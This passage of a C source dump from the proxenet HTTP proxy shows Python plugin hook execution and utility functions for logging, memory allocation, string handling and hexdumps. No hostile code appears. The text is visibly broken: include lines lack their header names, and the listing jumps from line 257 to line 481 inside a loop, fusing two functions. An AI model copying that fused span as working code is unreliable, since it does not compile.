"Incorrect return type (expected: %s)\n", "ByteArray"); 401 | #else 402 | xlog_python(LOG_ERROR, "Incorrect return type (expected: %s)\n", "String"); 403 | #endif 404 | result = NULL; 405 | } 406 | 407 | Py_DECREF(pResult); 408 | Py_DECREF(pArgs); 409 | 410 | return result; 411 | } 412 | 413 | 414 | /** 415 | * 416 | */ 417 | static void proxenet_python_lock_vm(interpreter_t *interpreter) 418 | { 419 | pthread_mutex_lock(&interpreter->mutex); 420 | 421 | } 422 | 423 | 424 | /** 425 | * 426 | */ 427 | static void proxenet_python_unlock_vm(interpreter_t *interpreter) 428 | { 429 | pthread_mutex_unlock(&interpreter->mutex); 430 | } 431 | 432 | 433 | /** 434 | * 435 | */ 436 | char* proxenet_python_plugin(plugin_t* plugin, request_t* request) 437 | { 438 | char *buf = NULL; 439 | PyObject *pFunc = NULL; 440 | bool is_request = (request->type==REQUEST) ? true : false; 441 | interpreter_t *interpreter = plugin->interpreter; 442 | PyThreadState* oldctx; 443 | 444 | proxenet_python_lock_vm(interpreter); 445 | 446 | oldctx = PyThreadState_Get(); 447 | 448 | PyThreadState_Swap( plugin->internal ); 449 | 450 | if (is_request) 451 | pFunc = (PyObject*) plugin->pre_function; 452 | else 453 | pFunc = (PyObject*) plugin->post_function; 454 | 455 | buf = proxenet_python_execute_function(pFunc, request); 456 | if (!buf) { 457 | xlog_python(LOG_ERROR, "%s: Error while executing plugin on %s\n", 458 | plugin->name, is_request ? "request" : "response"); 459 | } 460 | 461 | PyThreadState_Swap( oldctx ); 462 | 463 | proxenet_python_unlock_vm(interpreter); 464 | 465 | return buf; 466 | } 467 | 468 | #endif /* _PYTHON_PLUGIN */ 469 | -------------------------------------------------------------------------------- /utils.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include "core.h" 18 | #include "utils.h" 19 | 20 | 21 | static pthread_mutex_t tty_mutex; 22 | 23 | 24 | /** 25 | * 26 | */ 27 | void _xlog(int type, const char* fmt, ...) 28 | { 29 | va_list ap; 30 | time_t t = time(NULL); 31 | struct tm tm = *localtime(&t); 32 | 33 | /* lock tty before printing */ 34 | pthread_mutex_lock(&tty_mutex); 35 | 36 | #ifdef DEBUG 37 | fprintf(cfg->logfile_fd, 38 | "%.4d/%.2d/%.2d ", 39 | tm.tm_year + 1900, 40 | tm.tm_mon + 1, 41 | tm.tm_mday); 42 | #endif 43 | 44 | fprintf(cfg->logfile_fd, 45 | "%.2d:%.2d:%.2d-", 46 | tm.tm_hour, tm.tm_min, 47 | tm.tm_sec); 48 | 49 | 50 | switch (type) { 51 | case LOG_CRITICAL: 52 | if (cfg->use_color) fprintf(cfg->logfile_fd, DARK); 53 | fprintf(cfg->logfile_fd, "CRITICAL"); 54 | break; 55 | 56 | case LOG_ERROR: 57 | if (cfg->use_color) fprintf(cfg->logfile_fd, RED); 58 | fprintf(cfg->logfile_fd, "ERROR"); 59 | break; 60 | 61 | case LOG_WARNING: 62 | if (cfg->use_color) fprintf(cfg->logfile_fd, YELLOW); 63 | fprintf(cfg->logfile_fd, "WARNING"); 64 | break; 65 | 66 | case LOG_DEBUG: 67 | if (cfg->use_color) fprintf(cfg->logfile_fd, BLUE); 68 | fprintf(cfg->logfile_fd, "DEBUG"); 69 | break; 70 | 71 | case LOG_INFO: 72 | default: 73 | if (cfg->use_color) fprintf(cfg->logfile_fd, GREEN); 74 | fprintf(cfg->logfile_fd, "INFO"); 75 | break; 76 | } 77 | 78 | 79 | if (cfg->use_color) 80 | fprintf(cfg->logfile_fd, NOCOLOR); 81 | 82 | fprintf(cfg->logfile_fd, "-"); 83 | 84 | #ifdef DEBUG 85 | #if defined __LINUX__ 86 | fprintf(cfg->logfile_fd, "tid-%lu ", pthread_self()); 87 | #elif defined __FREEBSD__ || defined __DARWIN__ 88 | fprintf(cfg->logfile_fd, "tid-%p ", pthread_self()); 89 | #endif 90 | #endif 91 | 92 | va_start(ap, fmt); 93 | vfprintf(cfg->logfile_fd, fmt, ap); 94 | fflush(cfg->logfile_fd); 95 | va_end(ap); 96 | 97 | /* release lock */ 98 | pthread_mutex_unlock(&tty_mutex); 99 | } 100 | 101 | 102 | 103 | /** 104 | * malloc(3) wrapper. Checks size and zero-fill buffer. 105 | * 106 | * Note: (re-)allocation is a "succeed-or-die" process in proxenet. 107 | * 108 | * @param size: buffer size to allocate on heap 109 | * @return ptr: allocated zero-filled buffer pointer 110 | */ 111 | void* proxenet_xmalloc(size_t size) 112 | { 113 | void *ptr; 114 | 115 | if (size > SIZE_MAX / sizeof(size_t)) { 116 | xlog(LOG_CRITICAL, "proxenet_xmalloc: try to allocate incorrect size (%d byte)\n", size); 117 | abort(); 118 | } 119 | 120 | ptr = malloc(size); 121 | if ( ptr == NULL ) { 122 | xlog(LOG_CRITICAL, "%s\n", "proxenet_xmalloc: fail to allocate space"); 123 | abort(); 124 | } 125 | 126 | proxenet_xzero(ptr, size); 127 | return ptr; 128 | } 129 | 130 | 131 | /** 132 | * Free allocated blocks. Forcing abort() to generate a coredump. 133 | * 134 | * @param ptr: pointer to zone to free 135 | */ 136 | void proxenet_xfree(void* ptr) 137 | { 138 | if(ptr == NULL) { 139 | xlog(LOG_CRITICAL, "%s\n", "Trying to free NULL pointer"); 140 | abort(); 141 | } 142 | 143 | free(ptr); 144 | return; 145 | } 146 | 147 | 148 | /** 149 | * realloc(3) wrapper. Checks size and zero-fill buffer. 150 | * 151 | * @param oldptr: pointer to previous area 152 | * @param new_size: new size to allocate 153 | * @return a pointer to resized pointer 154 | */ 155 | void* proxenet_xrealloc(void* oldptr, size_t new_size) 156 | { 157 | void *newptr; 158 | 159 | if (new_size > (SIZE_MAX / sizeof(size_t))) { 160 | xlog(LOG_CRITICAL, "proxenet_xrealloc: try to allocate incorrect size (%d byte)\n", new_size); 161 | abort(); 162 | } 163 | 164 | newptr = realloc(oldptr, new_size); 165 | if (newptr == NULL) { 166 | xlog(LOG_CRITICAL, "proxenet_xrealloc() failed to allocate space: %s\n", strerror(errno)); 167 | abort(); 168 | } 169 | 170 | return newptr; 171 | } 172 | 173 | 174 | /** 175 | * Fill buflen-sized buffer with zeroes 176 | * 177 | * @param buf : buffer to zero-ize 178 | * @param buflen : buf length 179 | */ 180 | void proxenet_xzero(void* buf, size_t buflen) 181 | { 182 | if (!buf) { 183 | xlog(LOG_CRITICAL, "Trying to zero-ify NULL pointer %p\n", buf); 184 | abort(); 185 | } 186 | 187 | memset(buf, 0, buflen); 188 | } 189 | 190 | 191 | /** 192 | * Clean heap allocated block, and free it. 193 | * 194 | * @param buf : buffer to zero-ize 195 | * @param buflen : buf length 196 | */ 197 | void proxenet_xclean(void* buf, size_t buflen) 198 | { 199 | proxenet_xzero(buf, buflen); 200 | proxenet_xfree(buf); 201 | return; 202 | } 203 | 204 | 205 | /** 206 | * Wrapper for strdup, ensures a NULL byte will be at the end of the buffer 207 | * 208 | * @param data : the source buffer to duplicate 209 | * @param len : the maximum size for the string (null byte is appended) 210 | */ 211 | char* proxenet_xstrdup(const char *data, size_t len) 212 | { 213 | char* s; 214 | 215 | s = proxenet_xmalloc(len+1); 216 | if (!memcpy(s, data, len)) { 217 | xlog(LOG_CRITICAL, "proxenet_xstrdup() failed in memcpy: %s\n", strerror(errno)); 218 | proxenet_xfree(s); 219 | abort(); 220 | } 221 | 222 | return s; 223 | } 224 | 225 | 226 | /** 227 | * Wrapper for proxenet_xstrdup() using strlen() for determining argument length. 228 | * Should not be used if NULL bytes are in data. 229 | * 230 | * @param data : the source buffer to duplicate 231 | */ 232 | char* proxenet_xstrdup2(const char *data) 233 | { 234 | return proxenet_xstrdup(data, strlen(data)); 235 | } 236 | 237 | 238 | /** 239 | * Remove tabs and spaces at the beginning of a string. The characters 240 | * are overwritten with NULL bytes. 241 | * 242 | * @param str : the buffer to strip from the left (beginning) 243 | */ 244 | void proxenet_lstrip(char* str) 245 | { 246 | size_t i, j, d; 247 | size_t len = strlen(str); 248 | 249 | if (!len) 250 | return; 251 | 252 | for(i=0; i<=len-1 && (str[i]=='\t' || str[i]=='\n' || str[i]==' '); i++); 253 | if(i == len-1) 254 | return; 255 | 256 | d = len-i; 257 | for(j=0; j 31) && (data[i] < 127)) 482 | ascii[j] = data[i]; 483 | else 484 | ascii[j] = '.'; 485 | } 486 | 487 | if (j != 0) 488 | printf("%s", buffer); 489 | 490 | pthread_mutex_unlock(&tty_mutex); 491 | 492 | return; 493 | } 494 | 495 | 496 | /** 497 | * Provide a quick function to display an `xlog` error message (based on errno). 498 | * 499 | * @param level : the `xlog` error level 500 | * @param errno : the error number to describe 501 | */ 502 | void proxenet_perror(int level, int errnum) 503 | { 504 | char buffer[4096] = {0, }; 505 | char *ret; 506 | 507 | ret = strerror_r(errnum, (char*)buffer, sizeof(buffer)); 508 | if (ret){ 509 | xlog(level, "%s\n", buffer); 510 | } 511 | return; 512 | } 513 | --------------------------------------------------------------------------------